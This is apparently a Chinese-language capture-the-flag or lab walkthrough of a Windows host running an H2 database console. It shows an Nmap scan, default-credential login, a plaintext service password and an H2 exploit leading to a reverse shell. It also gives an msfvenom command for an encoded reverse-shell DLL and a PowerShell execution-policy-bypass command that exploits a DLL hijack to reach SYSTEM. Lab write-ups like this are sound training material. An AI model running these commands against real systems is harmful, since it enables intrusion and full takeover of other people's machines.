偵查

# Nmap 7.95 scan initiated Wed Oct  1 06:51:50 2025 as: /usr/lib/nmap/nmap --privileged -vvv -p 80,135,139,445,5040,8082,9092,49664,49665,49666,49668,49667,49669 -4 -sC -sV -o scan_result.txt 192.168.209.66
Nmap scan report for 192.168.209.66
Host is up, received echo-reply ttl 125 (0.069s latency).
Scanned at 2025-10-01 06:51:50 EDT for 175s

PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 125 Microsoft IIS httpd 10.0
|_http-title: H2 Database Engine (redirect)
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 125
5040/tcp  open  unknown       syn-ack ttl 125
8082/tcp  open  http          syn-ack ttl 125 H2 database http console
|_http-title: H2 Console
| http-methods: 
|_  Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: D2FBC2E4FB758DC8672CDEFB4D924540
9092/tcp  open  XmlIpcRegSvc? syn-ack ttl 125
49664/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9092-TCP:V=7.95%I=7%D=10/1%Time=68DD07C7%P=x86_64-pc-linux-gnu%r(NU
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SF:\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\
SF:r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.
SF:\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p
SF:\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\
SF:x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b")%r(informi
SF:x,516,"\0\0\0\0\0\0\0\x05\x009\x000\x001\x001\x007\0\0\0F\0R\0e\0m\0o\0
SF:t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x20\0t\0h\0i\
SF:0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x20\0a\0l\0l
SF:\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o\0w\0O\0t\0
SF:h\0e\0r\0s\xff\xff\xff\xff\0\x01`\x05\0\0\x024\0o\0r\0g\0\.\0h\x002\0\.
SF:\0j\0d\0b\0c\0\.\0J\0d\0b\0c\0S\0Q\0L\0N\0o\0n\0T\0r\0a\0n\0s\0i\0e\0n\
SF:0t\0C\0o\0n\0n\0e\0c\0t\0i\0o\0n\0E\0x\0c\0e\0p\0t\0i\0o\0n\0:\0\x20\0R
SF:\0e\0m\0o\0t\0e\0\x20\0c\0o\0n\0n\0e\0c\0t\0i\0o\0n\0s\0\x20\0t\0o\0\x2
SF:0\0t\0h\0i\0s\0\x20\0s\0e\0r\0v\0e\0r\0\x20\0a\0r\0e\0\x20\0n\0o\0t\0\x
SF:20\0a\0l\0l\0o\0w\0e\0d\0,\0\x20\0s\0e\0e\0\x20\0-\0t\0c\0p\0A\0l\0l\0o
SF:\0w\0O\0t\0h\0e\0r\0s\0\x20\0\[\x009\x000\x001\x001\x007\0-\x001\x009\x
SF:009\0\]\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a
SF:\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0J\0d\0b\0c\0S
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SF:0\.\0j\0a\0v\0a\0:\x006\x001\x007\0\)\0\r\0\n\0\t\0a\0t\0\x20\0o\0r\0g\
SF:0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\
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SF:0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x004\x002\x007\0\)\0\r
SF:\0\n\0\t\0a\0t\0\x20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\
SF:0D\0b\0E\0x\0c\0e\0p\0t\0i\0o\0n\0\.\0g\0e\0t\0\(\0D\0b\0E\0x\0c\0e\0p\
SF:0t\0i\0o\0n\0\.\0j\0a\0v\0a\0:\x002\x000\x005\0\)\0\r\0\n\0\t\0a\0t\0\x
SF:20\0o\0r\0g\0\.\0h\x002\0\.\0m\0e\0s\0s\0a\0g\0e\0\.\0D\0b");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 41279/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 30955/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 41670/udp): CLEAN (Timeout)
|   Check 4 (port 17054/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s
| smb2-time: 
|   date: 2025-10-01T10:54:33
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct  1 06:54:45 2025 -- 1 IP address (1 host up) scanned in 175.06 seconds

思路

從 HTTP 進去發現他是 H2 DataBase Engine，可以看看其他 Port
發現 8082 port 是 console，可以進去看看
之後戳帳號密碼，發現是 sa:
就直接進去看到版本號 H2 1.4.199
找到 exploit DB 中的漏洞，打 Reverse Shell 就可以 GET Normal User
(這邊要用 msfvenom 構建惡意的執行檔再來建 smb server 讓他 run 的到檔案)

提權

先補 PATH

set PATH=%PATH%C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;

機器內部枚舉 → 撈到服務帳密 BeyondLakeBarber399
在 C:\Program Files (x86)\H2\service\wrapper.conf 找到服務帳號 .\tony 與明文密碼 。
發現 fiScanner 服務存在 DLL Hijack（Exploit-DB 49382）
目標存在 FJTWSVIC 服務，權限為 SYSTEM。
建 x86 DLL 反向殼：

msfvenom -p windows/shell_reverse_tcp LHOST=<你的IP> LPORT=<port> -f dll -a x86 --platform windows -e x86/xor_dynamic -b '\x00' -o 0xBEN_privesc.dll

下載 Exploit-DB 49382 的 PowerShell 腳本，設定 DLL 路徑，透過 SMB 傳到受害機，然後執行：

powershell -nop -ep bypass -f C:\Users\tony\49382.ps1

觸發服務載入惡意 DLL，拿到 SYSTEM。